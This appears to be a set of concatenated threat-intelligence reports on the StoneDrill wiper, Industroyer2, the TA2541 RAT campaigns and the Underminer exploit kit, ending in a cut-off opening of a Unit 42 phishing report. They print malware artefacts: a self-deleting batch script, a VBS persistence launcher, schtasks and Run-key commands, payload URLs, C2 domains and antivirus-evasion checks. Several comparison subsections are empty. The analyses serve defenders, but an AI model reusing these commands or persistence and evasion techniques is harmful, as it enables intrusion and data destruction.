| uninstall | 10. Uninstall (Uninstall The Running Product from the Client Machine and Delete All Side-Effects) | Unregister autorun with command: cmd /c REG DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Stp /f. Then drop and run C-Un-C-Instl-T.bat with body: ping 1.1.1.1 -n 5 -w 2000 > nul RMDIR /S /Q "C:\ProgramData\Chrome\" RMDIR /S /Q "C:\ProgramData\InternetExplorer\" Del "%TEMP%\C-Un-C-Instl-T.bat". Then terminates itself. |
| antivirus | 11. Antivirus (The Response is Installed Antivirus on the Client Machine) | Queries Windows Management Instrumentation (WMI) database for installed AntiVirusProduct details. Runs additional registry lookups for details of: Avast, McAfee, Avg, BitDefender products. |
| help | 12. Help (Response is the List of Supported Commands in the Current Version of Product that Running on the Client Machine) | List title is "-Command List of the Current Version are:" |
## StoneDrill similarities with Shamoon
Of course, one of the most important questions is the following: are StoneDrill and Shamoon connected? This is a difficult question to answer. However, by listing the similarities and differences between the two, anyone can come up with their own answer.
Although we used a Yara built on Shamoon samples to find StoneDrill, there are several other similarities between the two:
- Both Shamoon and StoneDrill appear to be targeting Saudi organizations.
- Samples have been compiled around the same time - October-November 2016.
- Similar to previous generations of Shamoon, StoneDrill uses encrypted PE resources to store the actual payload.
The most important differences include:
- To avoid detection by emulators and sandboxing tools, the StoneDrill authors used far more advanced anti-emulation techniques than Shamoon.
- StoneDrill utilizes VBS scripts to run self-delete scripts, while Shamoon didn’t use any external scripts.
- A distinction from the Shamoon malware is that the strings encryption in StoneDrill is performed by alphabet table replacement.
- StoneDrill does not use drivers during deployment, but rather through memory injection into the victim’s preferred browser.
## StoneDrill similarities with NewsBeef
Our initial analysis of StoneDrill revealed some similarities with a threat actor we’ve seen before - NewsBeef. While we call this the NewsBeef APT, this group has been reported in the past as Charming Kitten or Newscaster (in 2014). The similarities between NewsBeef and StoneDrill make us believe there is a very strong connection there.
### Winmain Signature
In NewsBeef:
```
B8 08 00 FE 7F FF 30 8F 44 24 20 68 B4 0F 00 00 FF 15 78 70 44 00 B8 08 00 FE 7F FF 30 8F 44 24 24 8B 4C 24 24 2B 4C 24 20 B8 6B CA 5F 6B F7 E1 C1 EA 16 80 EA 02 88 15 95 71 45 00
```
In StoneDrill:
```
B8 08 00 FE 7F FF 30 8F 44 24 14 68 B4 0F 00 00 FF 15 4C B0 63 00 B8 08 00 FE 7F FF 30 8F 44 24 10 8B 44 24 10 33 D2 2B 44 24 14 B9 80 96 98 00 F7 F1 2C 02 A2 61 D6 64 00
```
### The OS command
In NewsBeef:
In StoneDrill:
### The Update command
In NewsBeef:
In StoneDrill:
### The Strings Decryption routine
In NewsBeef:
In StoneDrill:
### The Payload Winmain
In NewsBeef:
In StoneDrill:
### Command center name similarities
Besides the technical code similarities listed above, we noticed that the naming scheme for the NewsBeef and StoneDrill C&Cs is quite similar. For instance:
| StoneDrill | NewsBeef |
|----------------------------------|--------------------------------|
| www.chromup[.]com | www.chrome-up[.]date |
| | service1.chrome-up[.]date |
| | service.chrome-up[.]date |
| www.eservic[.]com | www.serveirc[.]com |
## Conclusions
Our discovery of StoneDrill gives another dimension to the existing wave of wiper attacks against Saudi organizations that started with Shamoon 2.0 in November 2016. Compared to the new Shamoon 2.0 variants, the most significant difference is the lack of a disk driver used for direct access during the destructive step. Nevertheless, one does not necessarily need raw disk access to perform destructive functions at file level, which the malware implements quite successfully.
Of course, one of the most important questions here is the connection between Shamoon and StoneDrill. Both wipers appear to have been used against Saudi organizations during a similar timeframe of October-November 2016. Several theories are possible here:
- StoneDrill is a less-used wiper tool, deployed in certain situations by the same Shamoon group.
- StoneDrill and Shamoon are used by different groups which are aligned in their interests.
- StoneDrill and Shamoon are used by two different groups which have no connection to each other and just happen to target Saudi organizations at the same time.
Taking all factors into account, our opinion is that the most likely theory is the second. Additionally, StoneDrill appears to be connected with previously reported News Beef activity, which continues to target Saudi organizations. From this point of view, News Beef and StoneDrill appear to be continuously focused on targeting Saudi interests, while Shamoon is a flashy, come-and-go high impact tool.
In terms of attribution, while Shamoon embeds Arabic-Yemen resource language sections, StoneDrill embeds mostly Persian resource language sections. Geopolitical analysts would be quick to point out that Iran and Yemen are both players in the Iran-Saudi Arabia proxy conflict. Of course, we do not exclude the possibility of false flags.
Finally, many unanswered questions remain in regards to StoneDrill and News Beef. The discovery of the StoneDrill wiper in Europe is a significant sign that the group is expanding its destructive attacks outside the Middle East. The target for the attack appears to be a large corporation with a wide area of activity in the petro-chemical sector, with no apparent connection or interest in Saudi Arabia.
As usual, we will continue to monitor the Shamoon, StoneDrill, and News Beef attacks. A presentation about StoneDrill will be given at the Kaspersky Security Analyst Summit Conference, on April 2-6, 2017.
Kaspersky Lab products detect the Shamoon and StoneDrill samples as:
- Trojan.Win32.EraseMBR.a
- Trojan.Win32.Shamoon.a
- Trojan.Win64.Shamoon.a
- Trojan.Win64.Shamoon.b
- Backdoor.Win32.RemoteConnection.d
- Trojan.Win32.Inject.wmyv
- Trojan.Win32.Inject.wmyt
- HEUR:Trojan.Win32.Generic
## Appendices
### Indicators of Compromise
#### Shamoon MD5s
- 00c417425a73db5a315d23fac8cb353f
- 271554cff73c3843b9282951f2ea7509
- 2cd0a5f1e9bcce6807e57ec8477d222a
- 33a63f09e0962313285c0f0fb654ae11
- 38f3bed2635857dc385c5d569bbc88ac
- 41f8cd9ac3fb6b1771177e5770537518
- 5446f46d89124462ae7aca4fce420423
- 548f6b23799f9265c01feefc6d86a5d3
- 63443027d7b30ef0582778f1c11f36f3
- 6a7bff614a1c2fd2901a5bd1d878be59
- 6bebb161bc45080200a204f0a1d6fc08
- 7772ce23c23f28596145656855fd02fc
- 7946788b175e299415ad9059da03b1b2
- 7edd88dd4511a7d5bcb91f2ff177d29d
- 7f399a3362c4a33b5a58e94b8631a3d5
- 8405aa3d86a22301ae62057d818b6b68
- 8712cea8b5e3ce0073330fd425d34416
- 8fbe990c2d493f58a2afa2b746e49c86
- 940cee0d5985960b4ed265a859a7c169
- 9d40d04d64f26a30da893b7a30da04eb
- aae531a922d9cca9ddca3d98be09f9df
- ac8636b6ad8f946e1d756cd4b1ed866d
- af053352fe1a02ba8010ec7524670ed9
- b4ddab362a20578dc6ca0bc8cc8ab986
- baa9862b027abd61b3e19941e40b1b2d
- c843046e54b755ec63ccb09d0a689674
- d30cfa003ebfcd4d7c659a73a8dce11e
- da3d900f8b090c705e8256e1193a18ecdc79867623b7929fd055d94456be8ba0
- ec010868e3e4c47239bf720738e058e3
- efab909e4d089b8f5a73e0b363f471c1
#### StoneDrill MD5s
- ac3c25534c076623192b9381f926ba0d
- 0ccc9ec82f1d44c243329014b82d3125
- 8e67f4c98754a2373a49eaf53425d79a
- fb21f3cea1aa051ba2a45e75d46b98b8
#### StoneDrill C2s
- www.eservic[.]com
- www.securityupdated[.]com
- www.actdire[.]com
- www.chromup[.]com
- www.chrome-up[.]date
- service1.chrome-up[.]date
- service.chrome-up[.]date
- www.serveirc[.]com |
# Industroyer2 in Perspective
**Joe**
**04/23/2022**
## Background
On 12 April 2022, the Ukrainian CERT and ESET disclosed the existence of Industroyer2, a successor to the malware targeting Ukrainian electric distribution and transmission operations in 2016. Industroyer2 arrived after multiple disruptive cyber incidents of varying degrees of success surrounding Russia’s brutal invasion of Ukraine. Overall, cyber operations targeting Ukraine have ranged from the “merely annoying” (DDoS) to “quite concerning” (Industroyer2). Fully contextualizing events will take time and the release of additional information, evidence, and technical background, although some preliminary observations are possible. In the case of Industroyer, we have several mysteries to contend with:
1. Leaked reporting indicating potentially successful disruptive events in mid-March, prior to the known Industroyer2 compilation date, across multiple substations.
2. The overall timing of Industroyer2 events, well after the start of hostilities (and as Russian performance continued to deteriorate across its invasion).
3. Reporting from Ukrainian authorities indicating attempted disruptive operations are quite widespread and may even be ongoing after the Industroyer2 disclosure.
There are many threads to pull to evaluate the Industroyer2 incident, given limited reporting but also the existence of samples in commercial malware repositories. While much remains to be uncovered with events, sufficient information is available at this time to draw some preliminary conclusions and set events in context with the current situation in Ukraine, as well as previous operations.
## Industroyer2 and Past Events
Industroyer2 represents the third (but presumably unsuccessful) electric power event targeting Ukrainian civilian infrastructure. The first such event took place in 2015, when three distribution substations were targeted through a combination of direct interaction with operator control systems and a “SCADA hijack” scenario to open breakers to disrupt the flow of electricity. The disruption was quickly followed by a wiper deployed to operator workstations, as well as disruption to control center Uninterrupted Power Supply (UPS) systems and deploying a malicious firmware update to serial-to-ethernet devices to effectively “brick” the systems. This also coincided with a DoS to utility telephone lines inhibiting the ability of customers to report outages to operators.
The event resulted in an outage lasting several hours impacting over 200,000 customers. Overall, the 2015 event appears to be a “success,” in terms of the capabilities deployed resulting in an impact scenario commensurate with tools used. While Ukrainian operators were able to restore operations relatively quickly by manually reclosing breakers, anecdotal evidence indicates the system wiping and effective destruction of serial-to-ethernet converters produced damage taking years to effectively correct.
The 2015 event was followed roughly a year later by another incident, this time using power system-specific malware referred to as Industroyer or CRASHOVERRIDE. In 2016, a transmission substation was targeted, providing for a potentially larger impact scenario than the 2015 event. However, as detailed in analysis in 2019, the first Industroyer event appears to have been very ambitious as an integrity- and protection-targeting industrial incident, but also a failure due to various mistakes in designing and deploying tools for the (attempted) disruption. Thus the 2016 event resulted in relatively less-significant impact than 2015, largely due to errors on the part of the attackers.
Industroyer2 appears to have learned some lessons from the 2016 incident. As detailed in public presentations, the IEC-104 manipulation module for the original Industroyer failed due to programmatic errors and ignoring proper state change requirements for proper protocol communication. Shown in the following packet capture, Industroyer2 appears to properly implement the IEC-104 protocol in following appropriate state transitions. While findings are preliminary and complete assessment would require testing on equipment similar to what was targeted in victim environments, preliminary analysis would indicate the attackers paid attention to past failures and implemented corrections in their code.
However, other aspects of Industroyer2 are significantly different than past incidents. While several wipers are associated with Industroyer2’s deployment, preliminary analysis from ESET and CERT-UA assesses this was likely for destroying intrusion artifacts and evidence, with limited targeting of non-Windows systems that has not yet been thoroughly evaluated in terms of impact and likely adversary intent. Lacking from this event are the sort of physically destructive applications, such as the serial-to-ethernet converter targeting or the attempted removal of line protection in 2016.
Given currently-available evidence, it would appear that the 2022 attempt, although potentially of much wider scope (up to two million potentially impacted customers, based on Ukrainian assessment), was also potentially less destructive than prior activity. Precisely why this is the case is unknown. Some possibilities include:
1. Desire on the part of Russian decision-makers to enable relatively quick restoration of the impacted sites as part of an invasion plan.
2. Inability to develop a suitable physical destruction capability for the targeted substations in time for deployment because of a “rushed” decision-making process.
3. Failure to deploy a destructive capability because the attack was interrupted by Ukrainian defenders before an impact could occur.
Each of these possibilities require more evidence to evaluate, although the first might be possible to examine if the targeted sites were disclosed. For example, if the sites were tightly correlated with Russian invasion lines of (attempted) advance, having a way to restore electricity service but disrupting it during operations might make sense. The other two possibilities will require information not likely to be available for some time in order to properly assess.
In any case, Industroyer2 appears to represent both an advance from earlier operations, in that industrial communication seems to be properly implemented, and a step back in terms of hard-coded configurations (making each sample unique to its victim site) and lack of a post-disruption destructive element.
## BlackEnergy3 Connections
One curious aspect of Industroyer2 concerns service names used during execution in deployment. In analysis of non-public samples published by ESET and analysis of different (but apparently functionally equivalent) samples in commercial malware repositories, the following set of strings are present for targeting purposes:
While seemingly innocuous, those with good memories (or a bit of search engine skill) can rapidly identify where this name – PService_PPD.exe – previously appeared: in past reporting on BlackEnergy3 use in connection with the 2015 Ukraine power event.
While BlackEnergy3 is not “industrial-specific” in the same sense as either Industroyer variant or other items such as Triton, it did serve a critical enabling function as part of the overall attack sequence leading up to power disruption. The name has no other significance or notable observations beyond this context.
Both ESET and CERT-UA link Industroyer2 (as well as the original Industroyer and at least some of the wiper events in Ukraine in 2022) to the Sandworm actor, linked to GRU post 74455. Previous reporting and government disclosures also linked Sandworm to the 2015 power event, and the use of BlackEnergy3 malware. Re-use of a specific process name or string would therefore appear to be a very strange mistake in operational security – or it could represent some degree of “victim trolling” by threat actors.
The name itself has no significance or function beyond the BlackEnergy3-Industroyer2 connection. Why this appears is an open question, and likely one that will never be satisfactorily resolved. However, this instance may be an interesting cyber threat intelligence counter-example of where indicator-like alerting (e.g., on specific filenames or references to specific processes) may actually be a reasonable defensive measure for identifying certain adversaries.
## Relationship to Wider Operations and Events
When Russia initiated its terrible invasion of Ukraine in late February 2022, commentators and analysis anticipated early operations to feature significant cyber components. While some effects certainly were observed and others discovered after collection of more evidence, many expected to observe critical infrastructure disruption along the lines of the 2015 and 2016 power events. That such an impact was attempted but only over a month into the conflict seems exceptionally strange, and defies expectations and assumptions around when to deploy such capabilities in conjunction with more traditional military operations.
First, while we cannot say this with complete confidence, it does appear that initial Russian plans for invading Ukraine envisioned a relatively quick decapitation of national leadership and centers of gravity, centered around the sack of Kyiv. As part of this operation, one can assume that leaving critical infrastructure largely intact was probably an initial requirement to facilitate occupation and subsequent installation of a puppet regime. As Russia’s incompetence and Ukraine’s bravery stymied these plans, a noticeable shift to indiscriminate attacks on population centers and infrastructure was observed. That a latent capability such as power system-targeting malware would be unleashed after such initial aims failed may therefore make sense, along the lines of similar questionable Russian decisions such as using sophisticated anti-ship cruise missiles to target stationary targets on land.
Changing war aims aside, at the start of the conflict Ukraine’s electric sector remained linked to Russian grid operations. Coinciding with the start of Russia’s invasion, Ukrainian operators initiated an isolation test from Russian grid operations, and subsequently decided to not reconnect. While separating Ukraine from Russian grid operations, this also left Ukraine’s grid isolated and thus more easily susceptible to disruption. Russian operations to capture electric infrastructure, such as events in Chernobyl and Zaporizhzhia, could thus give Russia ready control over Ukrainian electric operations, or at least significant influence over them.
This changed in mid-March, when Ukraine (and Moldova) successfully connected to the European electric grid under ENTSO-E. As stated previously, this timing is interesting as some suspected disruptive events appeared to take place immediately after this switchover. But with Ukraine now part of the wider European electric system, unilateral options for Russia to control or manipulate Ukrainian electric operations were removed, or significantly reduced. Thus the timing of Industroyer2 after not just the start of the conflict, but also after integration with ENTSO-E, makes more sense in light of these changes.
## Conclusions
Many details surrounding Industroyer2 and related (attempted) attacks on Ukrainian electric infrastructure are unavailable, but sufficient information has emerged to allow for the preliminary observations above. Overall, the evolution of operations in Russia’s invasion of Ukraine show that many assumptions surrounding the use of cyber capabilities as part of a conventional conflict require revision – but at the same time, we should also note that cyber has been far from absent as part of hostilities. While paling in comparison to Russia’s physical brutality, cyber operations appear to form a continuing area of interest and investment for Russia in attempting to achieve its goals in Ukraine.
With time and additional data, the items above can be revisited and improved. I would caution anyone reading this, or any other, analysis that in the case of both the 2015 and especially the 2016 power incidents in Ukraine, reasonably complete understanding of these events did not occur until years after the events in question. Especially given the difficulties of network defense, forensics, and electric system operations in the middle of an invasion, researchers would do well to be patient with matters such as this, and maintain a willingness to revise conclusions appropriately as more information emerges.
Overall, Industroyer2 represents an interesting and important development surrounding the broader violence Russia is inflicting upon Ukraine. Given that the malware did not result in a disruption of service, other asset owners and operators should take note that robust, alert operations are critical in maintaining sufficient defense and resilience in the face of critical infrastructure threats. We can learn much from Ukraine’s efforts in this conflict, not the least of which being how to maintain fundamental civilian services even in the face of a brutal, all-out assault.
## Technical Details
While CERT-UA and ESET published some indicators related to Industroyer2, some other samples appeared with equivalent functionality that were not previously identified in original reports. The following table provides a list of known Industroyer2 samples and potential variants.
| File Name | SHA1 | Note |
|--------------|-----------------------------------------------------------------|-------------------------------------------------------|
| 108_100.exe | FD9C17C35A68FC505235E20C6E50C622AED8DEA0 | Industroyer2 variant listed by ESET, CERT-UA. |
| 40_115.exe | FDEB96BC3D4AB32EF826E7E53F4FE1C72E580379 | Industroyer2 variant discovered on VirusTotal. |
| N/A | 39B27DE81915B748EC56D1C5DF7E017B4A20323B | Possible researcher modification of available sample. |
| N/A | 1574A402E5604F17BC0068F196D8BCDCB05286E7 | Possible researcher modification of available sample. |
## Acknowledgments
Huge thanks to the teams at ESET and CERT-UA for disclosing information for defenders and enabling this analysis, as well as the team at MSTIC for their continued support of Ukrainian defenders. Special thanks to Dan Gunter and InsaneForensics for enabling protocol analysis of available Industroyer2 samples in a functioning lab environment. |
# Charting TA2541's Flight
**Key Findings**
- Proofpoint researchers have tracked a persistent cybercrime threat actor targeting aviation, aerospace, transportation, manufacturing, and defense industries for years.
- The threat actor consistently uses remote access trojans (RATs) that can be used to remotely control compromised machines.
- The threat actor uses consistent themes related to aviation, transportation, and travel.
- The threat actor has used similar themes and targeting since 2017.
- Proofpoint calls this actor TA2541.
## Overview
TA2541 is a persistent cybercriminal actor that distributes various remote access trojans (RATs) targeting the aviation, aerospace, transportation, and defense industries, among others. Proofpoint has tracked this threat actor since 2017, and it has used consistent tactics, techniques, and procedures (TTPs) in that time. Entities in the targeted sectors should be aware of the actor's TTPs and use the information provided for hunting and detection.
TA2541 uses themes related to aviation, transportation, and travel. When Proofpoint first started tracking this actor, the group sent macro-laden Microsoft Word attachments that downloaded the RAT payload. The group pivoted, and now they more frequently send messages with links to cloud services such as Google Drive hosting the payload. Proofpoint assesses TA2541 is a cybercriminal threat actor due to its use of specific commodity malware, broad targeting with high volume messages, and command and control infrastructure.
While public reporting detailing similar threat activities exists since at least 2019, this is the first time Proofpoint is sharing comprehensive details linking public and private data under one threat activity cluster we call TA2541.
## Campaign Details
Unlike many cybercrime threat actors distributing commodity malware, TA2541 does not typically use current events, trending topics, or news items in its social engineering lures. In nearly all observed campaigns, TA2541 uses lure themes that include transportation-related terms such as flight, aircraft, fuel, yacht, charter, etc.
TA2541 demonstrates persistent and ongoing threat activity since January 2017. Typically, its malware campaigns include hundreds to thousands of messages, although it is rare to see TA2541 send more than 10,000 messages at one time. Campaigns impact hundreds of organizations globally, with recurring targets in North America, Europe, and the Middle East. Messages are nearly always in English.
In the spring of 2020, TA2541 briefly pivoted to adopting COVID-related lure themes consistent with their overall theme of cargo and flight details. For example, they distributed lures associated with cargo shipments of personal protective equipment (PPE) or COVID-19 testing kits. The adoption of COVID-19 themes was brief, and the threat actor quickly returned to generic cargo, flight, charter, etc. themed lures.
Multiple researchers have published data on similar activities since 2019 including Cisco Talos, Morphisec, Microsoft, Mandiant, and independent researchers. Proofpoint can confirm the activities in these reports overlap with the threat actor tracked as TA2541.
## Delivery and Installation
In recent campaigns, Proofpoint observed this group using Google Drive URLs in emails that lead to an obfuscated Visual Basic Script (VBS) file. If executed, PowerShell pulls an executable from a text file hosted on various platforms such as Pastetext, Sharetext, and GitHub. The threat actor executes PowerShell into various Windows processes and queries Windows Management Instrumentation (WMI) for security products such as antivirus and firewall software, and attempts to disable built-in security protections. The threat actor will collect system information before downloading the RAT on the host.
While TA2541 consistently uses Google Drive, and occasionally OneDrive, to host the malicious VBS files, beginning in late 2021, Proofpoint observed this group begin using DiscordApp URLs linking to a compressed file which led to either AgentTesla or Imminent Monitor. Discord is an increasingly popular content delivery network (CDN) used by threat actors.
Although TA2541 typically uses URLs as part of the delivery, Proofpoint has also observed this actor leverage attachments in emails. For example, the threat actor may send compressed executables such as RAR attachments with an embedded executable containing a URL to CDNs hosting the malware payload.
Listed below is an example of a VBS file used in a recent campaign leveraging the StrReverse function and PowerShell’s RemoteSigned functionality. It is worth noting the VBS files are usually named to stay consistent with the overall email themes: flight, aircraft, fuel, yacht, charter, etc.
**Deobfuscated command:**
```
https://paste[.]ee/r/01f2w/0
```
The figure below depicts an example from a recent campaign where the PowerShell code is hosted on the paste.ee URL.
## Persistence
Typically, TA2541 will use Visual Basic Script (VBS) files to establish persistence with one of their favorite payloads, AsyncRAT. This is accomplished by adding the VBS file in the startup directory which points to a PowerShell script. Note: the VBS and PowerShell file names used are mostly named to mimic Windows or system functionality. Examples from recent campaigns include:
**Persistence Example:**
```
C:\Users[User]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemFramework64Bits.vbs
```
**Contents of VBS file:**
```
Set Obj = CreateObject("WScript.Shell")
Obj.Run "PowerShell -ExecutionPolicy RemoteSigned -File " & "C:\Users\[User]\AppData\Local\Temp\RemoteFramework64.ps1", 0
```
**Other Recent VBS File Names Observed:**
- UserInterfaceLogin.vbs
- HandlerUpdate64Bits.vbs
- WindowsCrashReportFix.vbs
- SystemHardDrive.vbs
TA2541 has also established persistence by creating scheduled tasks and adding entries in the registry. For instance, in November 2021 TA2541 distributed the payload Imminent Monitor using both of these methods. In recent campaigns, vjw0rm and STRRAT also leveraged task creation and adding entries to the registry. For example:
**Scheduled Task:**
```
schtasks.exe /Create /TN "Updates\BQVIiVtepLtz" /XML C:\Users\[User]\AppData\Local\Temp\tmp7CF8.tmp
schtasks /create /sc minute /mo 1 /tn Skype /tr "C:\Users\[User]\AppData\Roaming\xubntzl.txt"
```
**Registry:**
```
Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost
Data: C:\Users[User]\AppData\Roaming\server\server.exe
Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\xubntzl
Data: C:\Users\User\AppData\Roaming\xubntzl.txt
```
## Malware
Proofpoint has observed TA2541 using over a dozen different malware payloads since 2017. The threat actor uses commodity malware available for purchase on criminal forums or available in open-source repositories. Currently, TA2541 prefers AsyncRAT, but other popular RATs include NetWire, WSH RAT, and Parallax.
All the malware used by TA2541 can be used for information gathering purposes and to gain remote control of an infected machine. At this time, Proofpoint does not know what the threat actor’s ultimate goals and objectives are once it achieves initial compromise.
While AsyncRAT is the current malware of choice, TA2541 has varied its malware use each year since 2017. The threat actor will typically use just one or a handful of RATs in observed campaigns; however, in 2020, Proofpoint observed TA2541 distributing over 10 different types of malware, all using the same initial infection chain.
## Infrastructure
TA2541 uses Virtual Private Servers as part of their email sending infrastructure and frequently uses Dynamic DNS (DDNS) for C2 infrastructure. There are multiple patterns across the C2 infrastructure and the message artifacts. For example, historic campaigns have included the term “kimjoy” in the C2 domain name as well as in the threat actor reply-to address. Another striking TTP is the common pattern observed with TA2541 C2 domains and payload staging URLs containing the keywords “kimjoy,” “h0pe,” and “grace.” TA2541 also regularly uses the same domain registrars including Netdorm and No-IP DDNS, and hosting providers including xTom GmbH and Danilenko, Artyom.
## Victimology
Often, campaigns contained several hundred to several thousand email messages to dozens of different organizations. Although Proofpoint has observed TA2541 targeting thousands of organizations, multiple entities across aviation, aerospace, transportation, manufacturing, and defense industries appear regularly as targets of its campaigns. There appears to be a wide distribution across recipients, indicating TA2541 does not target people with specific roles and functions.
## Conclusion
TA2541 remains a consistent, active cybercrime threat, especially to entities in its most frequently targeted sectors. Proofpoint assesses with high confidence this threat actor will continue using the same TTPs observed in historic activity with minimal change to its lure themes, delivery, and installation. It is likely TA2541 will continue using AsyncRAT and vjw0rm in future campaigns and will likely use other commodity malware to support its objectives.
## Indicators of Compromise (IOCs)
**C2 Domains**
| Indicator | Description | Date Observed |
|------------------------------------|---------------------------------|---------------------|
| joelthomas[.]linkpc[.]net | AsyncRAT C2 Domain | Throughout 2021 |
| rick63[.]publicvm[.]com | AsyncRAT C2 Domain | January 2022 |
| tq744[.]publicvm[.]com | AsyncRAT C2 Domain | January 2022 |
| bodmas01[.]zapto[.]org | AsyncRAT C2 Domain | January 2022 |
| bigdips0n[.]publicvm[.]com | AsyncRAT C2 Domain | December 2021 |
| 6001dc[.]ddns[.]net | AsyncRAT C2 Domain | September 2021 |
| kimjoy[.]ddns[.]net | Revenge RAT C2 Domain | March 2021 |
| h0pe[.]ddns[.]net | AsyncRAT C2 Domain | April/May 2021 |
| e29rava[.]ddns[.]net | AsyncRAT C2 Domain | June 2021 |
| akconsult[.]ddns[.]net | AsyncRAT C2 Domain | July 2021 |
| grace5321[.]publicvm[.]com | StrRAT C2 Domain | January 2022 |
| grace5321[.]publicvm[.]com | Imminent Monitor C2 Domain | November 2021 |
**VBS SHA256 Hashes**
- File Name: Aircrafts PN#_ALT PN#_Desc_&_Qty Details.vbs
SHA256: 67250d5e5cb42df505b278e53ae346e7573ba60a06c3daac7ec05f853100e61c
- File Name: charters details.pdf.vbs
SHA256: ebd7809cacae62bc94dfb8077868f53d53beb0614766213d48f4385ed09c73a6
- File Name: charters details.pdf.vbs
SHA256: 4717ee69d28306254b1affa7efc0a50c481c3930025e75366ce93c99505ded96
- File Name: 4Pax Trip Details.pdf.vbs
SHA256: d793f37eb89310ddfc6d0337598c316db0eccda4d30e34143c768235594a169c
**ET Signatures**
- 2034978 - ET POLICY Pastebin-style Service (paste.ee) in TLS SNI
- 2034979 - ET HUNTING Powershell Request for paste.ee Page
- 2034980 - ET MALWARE Powershell with Decimal Encoded RUNPE Downloaded
- 2850933 - ETPRO HUNTING Double Extension VBS Download from Google Drive
- 2850934 - ETPRO HUNTING Double Extension PIF Download from Google Drive
- 2850936 - ETPRO HUNTING VBS Download from Google Drive |
# Underminer Exploit Kit: The More You Check The More Evasive You Become
The Underminer exploit kit has surfaced numerous times since 2019, but here it is back again delivering the Amadey malware, as the Malwarebytes Threat Intelligence team found last week.
## Exploit Kit
An exploit kit (EK), or an exploit pack, is a type of toolkit cybercriminals use to attack vulnerabilities in systems, allowing them to distribute malware or perform other malicious activities. Exploit kits are packaged with exploits that can target commonly installed software, such as Adobe Flash®, Java®, and Microsoft Silverlight®.
A typical exploit kit usually provides a management console, a bunch of vulnerabilities targeted to different applications, and several add-on functions that make it easier for a cybercriminal to launch an attack. Exploit kits typically integrate vulnerabilities of popular applications, which many users leave poorly patched. It can also be used by someone who does not have any experience writing software code for creating, customizing, and distributing malware.
## Underminer Exploit Kit
Underminer EK was first seen in the wild in 2017, targeting Asian countries by first deploying bootkits. This is malware loaded during the boot process, which controls the operating system startup, modifying the system before security components are loaded, for OS persistency and then a coinminer at a later stage. Back then, this EK spread by malvertising and exploiting browser vulnerabilities. One of the coinminers distributed by this EK was “Hidden Bee” - a covertly running Chinese miner.
When we dig into the Underminer EK, the authors seem to have a good grasp of anti-debugging techniques, as they applied plenty of them.
The first check this EK performs is the use of the assembly `rdtsc` instruction – this instruction is used to determine how many CPU ticks have taken place since the processor was reset. This can also be used as an anti-debugging technique. The most common way is to use this instruction to get the current timestamp, save it in a register, then get another timestamp and check if the delta between the two is below the exact number of ticks that were pre-decided by the author. In our sample, the second timestamp and the comparison were carried out long after the first timestamp was saved in the memory.
Next, in case the Avast library is loaded into the running process, the EK detaches the `DLL_LOAD` signal from `aswhook.dll` (Avast Hook Library) so that Avast AV will not capture the later DLL loading event.
The Underminer remaps `ntdll.dll` and several others, a technique that might be used to bypass User-Mode Hooks. The kit also checks if one of the following security products are installed under `C:\Program Data` by checking for the existence of the following products’ directories:
- Avast Software
- Avira
- Kaspersky Lab
- Panda Security
- Doctor Web
- AVG
- 360TotalSecurity
- BitDefender
- Norton
- Sophos
- Comodo
In addition, Underminer EK uses several more popular techniques to check whether the process is being actively debugged. This EK didn’t perform any anti-VM or anti-emulation techniques.
Later, the malware creates a “3e5d740863” folder under `C:\Users\Username\AppData\local\Temp` (user’s temporary directory) and copies itself into it. The malware will add a registry key `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders` and pass the newly created folder path as a key value, which is a persistency technique in which the folder’s content will be executed at user login, known as MITRE T1547.001. After the file copy, the malware will execute the newly copied file and terminate the current process.
To become even more persistent in the system, Underminer creates a scheduled task that will execute the malicious file every day at 01:00 AM. The scheduled task name is the executable's name, and it is run with the user's credentials.
Our sample connects to two command and control servers and passes the information of the infected station to them. The information being passed is:
- Victim ID
- A version of the malware
- PC name
- Username
- We assume, the number of binaries installed
The next stage is to download and execute additional malware. We checked the malware twice and got two different executables; one of them was an Oski Stealer and another new, well-packed .Net stealer.
Oski Stealer is a malicious information stealer, which was first introduced in November 2019. The Oski stealer steals personal and sensitive credentials from its target, eventually being misused to clean out the user’s liquid assets.
The second stealer, (with the original name of ‘Licensing.exe’) seems to have some code borrowed from RedLine Stealer. It steals browser credentials, crypto wallets, file share credentials, etc. It connects to the command-and-control server via the 16713 TCP port.
As a side note, info stealers might be co-opted into the cycle of various kinds of attacks, and ransomware campaigns in particular. While serving a reliable method for criminals to obtain credentials tied to financial accounts, they have also started using ‘information stealers’ to obtain corporate remote network login credentials, like virtual private networks (VPNs) or remote desktop software.
Without being dependent on the drop file, Underminer exploit kit creates a new registry key to gain persistence over the dropped malware. The key will be added under `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`.
At the time this blog was published, the command-and-control server was still operating and continues to distribute different types of malware.
Minerva Labs Hostile Environment Simulation and Critical Asset Protection modules prevent the remap of DLLs required for Underminer exploit kit to carry out its attack, thus preventing additional malware drops.
## IOC’s:
### Hashes:
- `7a7a128a51a5e153c55481518bdffe67093e94d99845531918ff50875a13e5fe` – dllhost.exe – Underminer EK
- `0fa23ba39a85ad3a28d71e1d50edc2c39046d2ffe36fb257e8953acee7726924` – vt.zip – Oski Stealer
- `eb0c56870fb482ff798dab0048ff1b8a7010f6ce6b769e9ffffc569070898624` – ic.exe (Licencing.exe)
### Domains:
- `web.jsonpost[.]xyz` – C&C server
- `web.xmlpost[.]xyz` – C&C server
### URLs:
- `web.jsonpost[.]xyz/sj2vMs/index.php?scr=1` – C&C server
- `web.xmlpost[.]xyz/sj2vMs/index.php?scr=1` – C&C server
- `http://169.197.142[.]162/vt.zip` - Oski Stealer
### IP’s:
- `169.197.142[.]162` - Underminer C&C
- `194.124.213[.]221` – Licensing C&C |
# Tracking Subaat: Targeted Phishing Attack Leads to Threat Actor’s Repository
**By Unit 42**
**October 27, 2017**
In mid-July, Palo Alto Networks Unit 42 identified a small targeted phishing campaign aimed at a government organization. While tracking the activities of this campaign, we identified a repository of additional malware, including a web server that was used to host the payloads used for both this attack as well as others. We’ll discuss how we discovered it, as well as possible attribution towards the individual behind these attacks.
## The Initial Attack
Beginning on July 16, 2017, Unit 42 observed a small wave of phishing emails targeting a US-based government organization. We observed a total of 43 emails with the following subject lines:
- Invention
- Invention Event
